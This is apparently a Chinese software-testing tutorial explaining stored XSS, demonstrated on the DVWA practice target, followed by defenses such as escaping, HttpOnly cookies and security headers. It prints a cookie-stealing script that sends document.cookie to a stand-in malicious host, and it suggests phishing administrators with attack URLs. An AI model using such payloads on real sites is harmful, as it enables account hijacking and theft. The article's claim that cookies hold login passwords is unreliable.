看图说话:持久式XSS(跨站)漏洞示例

★安全测试之XSS漏洞★

读书与实践是获取知识的主要渠道,学习的权力只掌握在每个人自己手中,让学习成为一种生活的习惯,这比任何名牌大学的校徽重要得多!

——张老师

张老师寄语

目 录

1 XSS(跨站)漏洞是什么?

2. 如何判断是否存在持久型XSS攻击风险?

3. 持久型XSS攻击的危害?

4. 怎么防止持久型XSS攻击呢?

1. XSS(跨站)漏洞是什么?

XSS是跨站脚本攻击(Cross Site Scripting)的简称,细心的同学可能发现了,英文缩写应该是"CSS”,但为什么不简称CSS呢,这是为了跟跟层叠样式表(Cascading Style Sheets,CSS)进行区别。

我们做界面测试时,常常在“输入框”中输入一些特殊字符、或者超长字符串来验证这个输入框是否做了数据格式校验或者边界值处理。我们也都知道,如果没有进行必要的格式验证或者边界值处理,就会影响用户体验。但不妨再深入思考一下,输入框中的数据若不作处理,除了“易用性”的问题,是否有更严重的情况呢?

答案是肯定的。

如果我们查看一个网页的源代码,我们会发现这个页面大都是html语言,html语言的一个典型特点是它的内容包含在一个个“标签”中,比如下图中的<head>、<meta >,程序根据“标签”来判定页面上每个元素的边界。

我们不妨设想一下,如果我们在输入框中输入一个“标签”,借此来伪造“边界”以欺骗程序,会发生什么呢?

其实这便是CSS攻击的原理了。用稍微专业的话来说就是:客户端发送请求到服务器端,服务器在没有验证请求中的信息的情况下,就对请求进行了处理,从而导致原本正常的页面被嵌入了恶意HTML代码。之后当其他用户访问该页面时,恶意代码自动执行,给用户造成了危害。

根据XSS漏洞攻击的特点可以分为两类,一类是持久型/存储型XSS,另一类是非持久型/反射型XSS:

  1. 持久型/存储型XSS:嵌入到web页面的恶意HTML代码被存储到服务器端(数据库),攻击行为将伴随着攻击数据一直存在。
  2. 非持久型/反射型XSS:反射型XSS是一次性的,仅对当次的页面访问产生影响。这类攻击的特点是在用户访问一个被攻击者篡改后的页面时,自动(或误导用户主动)跳转到一个恶意链接,之后将恶意代码植入到用户游览器并执行,从而达到攻击目的。

下文说说持久型/存储型XSS漏洞攻击。

2. 如何判断是否存在持久型XSS攻击风险?

1、打开我们的渗透测试的演练系统DVWA:

2、在Message 输入框里输入

提交:

3、重新打开靶机页面,之前输入脚本被执行:

4、进入数据库观察,看到JS脚本被保存到表内。如果再打开可以查看备注的web页面,就可以弹出我们添加的“message”信息——这代表我们攻击成功了,也证明网站存在持久式XSS(跨站)漏洞:

5、从上面的例子我们可以看出,存储型XSS的数据流向是:

浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器

3. 持久型XSS攻击的危害?

看到这里可能有人会疑惑,这个能有什么用啊?

我们不妨设想一下:如果把上面的“message”字段的值修改成如下的代码,会有什么结果?

<a id='attacker'>点关注、不迷路、张老师带你畅游测试路</a>   <script>document.getElementById('attacker').href='http://www.a123.com/receiveCookies.html?'+document.cookie;</script>

注:http://www.a123.com/receiveCookies.html是恶意网站的url

如果是这样的恶意代码,那么攻击者就能获取到这个用户的cookie信息(cookie中包含了用户的登录账号和密码),进而以该用户角色登录系统。

除此之外,还会有哪些危害呢?

其实,既然都能够在Web 页面中注入代码了,那么我们能想到的危害它几乎都可以做到了。除了上面说的攻击者可以使用 XSS 漏洞窃取 Cookie,劫持帐户,还可以执行 ActiveX,执行 Flash 内容,强迫用户下载软件,或者是对硬盘和数据采取操作。

只要您点击了某些 URL,这一切便有可能发生!

网络钓鱼攻击通常利用 XSS 漏洞来伪装成合法站点。日常生活中可以看到很多这样的情况,比如某银行给你发来了一封电子邮件,一顿balabala然后诱使你点击某个超链接。如果仔细观察这个 URL,它实际上可能利用了银行网站中存在的漏洞,它们的形式类似于http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script>,这里利用了“redirect”参数来执行攻击。

如果你足够狡猾且不怕死的话,可以将管理员定为攻击目标,你可以发送一封系统故障的邮件,并在正文附加包含攻击的url。在管理员打开该 URL 后,便可以执行许多恶意操作,例如窃取他的凭证。

总之一句话,XSS的危害性比我们能想象出的更严重!

4. 怎么防止持久型XSS攻击呢?

从网上搜了一下相关的攻击预防方法,大家可以参考一下:

1)在页面上添加用户输入长度限制;

2)在服务端(数据库)添加长度限制;

3)过滤用户输入的特殊字符串,对其进行转义,如下

示例字符串

"<script>document.getElementById('a').href=''+document.cookie;</script>",

下面是转义之后的字符串

StringEscapeUtils - &lt;script&gt;&#26159;&#19981;&#26159;document.getElementById('a').href=''+document.cookie;&lt;/script&gt;HtmlUtils - &lt;script&gt;document.getElementById(&#39;a&#39;).href=&#39;&#39;+document.cookie;&lt;/script&gt;

4)http相关的设置:

A)cookie.setHttpOnly(true);--保护用户cookie

B)res.setHeader("X-Frame-Options", "SAMEORIGIN");

  • X-Frame-Options对应的属性值含义:
  • DENY:这个页面不允许被以frame的方式加载
  • SAMEORIGIN:这个页面只允许同源页面加载
  • <uri>:这个页面只能被特定的域加载

C)res.setHeader("X-xss-protection", "1;mode=block");

D)res.setHeader("X-Content-Type-Options", "nosniff ");阻止浏览器进行content-type 嗅探。告诉浏览器相信此服务器下发的资源的类型,防止类型嗅探攻击。

5. 相关链接

  1. 看图说话:文件上传(File Upload)漏洞示例
  2. 看图说话:文件包含(File Inclusion)漏洞示例

投稿:9016 编辑:Mack

原文发布于微信公众号 - 软件测试经验与教训(udatest)

原文发表时间:2018-11-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏生信技能树

点击此文,无需转发,即可下载上千个免费R包

写在前面: 谨以此文献给那些“奋斗”在转发送别人资源,为了博人眼球,而践踏别人的辛勤的劳动成果的公众号们。 当然了,R包本来就是免费的,你只是不会下载而已,所以...

4288
来自专栏PHP在线

Web安全实战

前言 本章将主要介绍使用Node.js开发web应用可能面临的安全问题,读者通过阅读本章可以了解web安全的基本概念,并且通过各种防御措施抵御一些常规的恶意攻击...

36810
来自专栏沈唁志

如何在Ubuntu 16.04上安装PrestaShop

如果您曾经考虑过开设在线商店,您可能会感受到各种免费的开源电子商务解决方案。虽然有这么多的选择意味着几乎可以肯定有一个可用的有效解决方案适合您的特定情况,但它也...

3223
来自专栏张善友的专栏

通过企业分布式缓存共享运行时数据

许多企业都结合使用 Microsoft .NET Framework 和 Java 应用程序,尤其是那些出于各种考虑不能只依赖于单一技术的大中型企业。 通常,企...

2528
来自专栏黑白安全

简述URL并分别说明各部分含义

转自:http://blog.csdn.net/dzhj11/article/details/9194999

2162
来自专栏解Bug之路

解Bug之路-记一次JVM堆外内存泄露Bug的查找 顶

JVM的堆外内存泄露的定位一直是个比较棘手的问题。此次的Bug查找从堆内内存的泄露反推出堆外内存,同时对物理内存的使用做了定量的分析,从而实锤了Bug的源头。笔...

984
来自专栏FreeBuf

护卫神主机大师提权漏洞利用分析

护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设...

2780
来自专栏FreeBuf

文件监控程序V2.0改进版(网站防挂马好手)

前言 技多不压身,多掌握几种不同的编程语言,不但有助于开拓我们的视野,还可以让我们在工作时,自己写一些小程序来帮我们减少工作量。 前段时间给一个客户维护服务器,...

6085
来自专栏美团技术团队

Redis高负载下的中断优化

Redis 服务端的总体请求量从年初最开始日访问量百亿次级别上涨到高峰时段的万亿次级别,给运维和架构团队都带来了极大的挑战。

1.2K11
来自专栏IMWeb前端团队

再见2015 再见cmd

本文作者:IMWeb yisbug 原文出处:IMWeb社区 未经同意,禁止转载 2015年已经快要过去了,你是否还在使用有着十几年历史的cmd命令行...

3119

扫码关注云+社区

领取腾讯云代金券